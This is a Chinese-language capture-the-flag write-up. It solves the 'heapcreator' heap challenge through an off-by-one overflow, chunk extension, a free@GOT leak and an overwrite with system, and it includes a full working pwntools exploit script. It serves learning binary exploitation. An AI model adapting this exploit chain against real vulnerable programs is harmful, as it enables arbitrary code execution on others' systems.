记录第一次不看任何writeup自己写出来的pwn题
前置知识:
off by one
chunk overlapping
chunk extend
一开始先看程序打开哪些保护机制

可以改got表,并且有点要注意是没开PIE,这样就不必泄露函数地址计算基址了(如果开了,这题堆上没有存放函数指针的,我也不会泄露。。)
然后分析程序,挖漏洞
首先从建堆函数看数据结构


结构分析清楚了,就找漏洞。首先我习惯看free函数O(∩_∩)O

可惜,指针已经清零了
再看看edit函数

根据数据结构,可以看到是向data中写入len_of_data+1长度的数据,因此存在off by one漏洞!!!
这里我选择溢出overlapping覆盖size,实现fastbin extend
思路如下:
1、我的目标是system('/bin/sh'),因此我需要修改某个函数的got表指向system。那就free吧。
2、那么我就要泄露出free_got中在内存中的真实地址。
3、通过修改某个ptr的指针,自然利用show(),打印出free_got地址。
4、怎么修改呢?就用上述所说的chunk extend技术,修改size,重新分配一个大Chunk,然后对后面的Prt肆意修改。
5、泄露之后,就直接利用edit改就行了。
6、最后就是free一个含有bin/sh的堆就行了。
看具体exp吧
第一步:泄露free_got
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
create( 0x18 , 'aaaa' ) #0
create( 0x10 , 'bbbb' ) #1
create( 0x10 , 'cccc' ) #2
create( 0x10 , '/bin/sh' ) #3
edit( 0 , 'a' * 0x18 + '\x81' ) #注意这个0x18
delete( 1 )
size = '\x08' .ljust( 8 , '\x00' )
payload = 'd' * 0x40 + size + p64(elf.got[ 'free' ]) #这里的size涉及到后面修改地址时需要多长的字节
create( 0x70 ,payload) #1
show( 2 )
cn.recvuntil( 'Content : ' )
free_addr = u64(cn.recvuntil( 'Done' )[: - 5 ].ljust( 8 , '\x00' ))
success( 'free_addr = ' + str ( hex (free_addr)))
|
首先必须要解释下为什么是0x18,这里涉及到chunk的知识。一个chunk在被free掉之后存在bins中,其头部含有prev_size和size没错,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果我malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了!!!
然后呢,我要覆盖掉chunk1和chunk2的话根据结构体,我需要create 0x70个字节,加上头部就是0x81了,注意in_use位!然后计算距离chunk2的size字段需要多少数据,填充就行

这是create完四个chunk后的正常的堆的分布

这是edit(0)之后的堆分布,可以看到size位已经被该为0x81了

现在再看,已经成功将chunk2的Ptr改为free_got了

此时free_got的正常地址为0x7efc15fe44f0

能够正常泄露
第二步:修改free_got
1
2
3
4
|
system_addr = free_addr + lib.symbols[ 'system' ] - lib.symbols[ 'free' ]
success( 'system_addr = ' + str ( hex (system_addr)))
edit( 2 ,p64(system_addr))
|
首先要计算system_addr的地址,通过libc两个函数之间的相对偏移固定的原理,利用已经泄露的free_addr得到system_addr
由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了

修改后再看,发现成功篡改free_got了,如无意外就能成功了。
最后一步:
1
2
|
delete( 3 )
cn.interactive()
|
下面贴出完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
#!/usr/bin/env python
from pwn import *
#cn = remote('127.0.0.1',9527)
cn = process( './heapcreator' )
elf = ELF( './heapcreator' )
#context.log_level='debug'
lib = ELF( 'libc.so.6' )
def create(l,value):
cn.recvuntil( 'Your choice :' )
cn.sendline( '1' )
cn.recvuntil( 'Size of Heap : ' )
cn.sendline( str ( int (l)))
cn.recvuntil( 'Content of heap:' )
cn.sendline(value)
def edit(index,value):
cn.recvuntil( 'Your choice :' )
cn.sendline( '2' )
cn.recvuntil( 'Index :' )
#if index == 2:gdb.attach(cn)
cn.sendline( str (index))
cn.recvuntil( 'Content of heap : ' )
cn.sendline(value)
def show(index):
cn.recvuntil( 'Your choice :' )
gdb.attach(cn)
cn.sendline( '3' )
cn.recvuntil( 'Index :' )
cn.sendline( str (index))
def delete(index):
cn.recvuntil( 'Your choice :' )
cn.sendline( '4' )
cn.recvuntil( 'Index :' )
cn.sendline( str (index))
#leak free addr
create( 0x18 , 'aaaa' ) #0
create( 0x10 , 'bbbb' ) #1
create( 0x10 , 'cccc' ) #2
create( 0x10 , '/bin/sh' ) #3
gdb.attach(cn)
edit( 0 , 'a' * 0x18 + '\x81' )
gdb.attach(cn)
delete( 1 )
size = '\x08' .ljust( 8 , '\x00' )
payload = 'd' * 0x40 + size + p64(elf.got[ 'free' ])
create( 0x70 ,payload) #1
show( 2 )
cn.recvuntil( 'Content : ' )
free_addr = u64(cn.recvuntil( 'Done' )[: - 5 ].ljust( 8 , '\x00' ))
success( 'free_addr = ' + str ( hex (free_addr)))
#trim free_got
system_addr = free_addr + lib.symbols[ 'system' ] - lib.symbols[ 'free' ]
success( 'system_addr = ' + str ( hex (system_addr)))
#gdb.attach(cn)
edit( 2 ,p64(system_addr))
#gdb.attach(cn)
show( 2 )
delete( 3 )
cn.interactive()
|
欢饮大家交流讨论,给我指出问题。。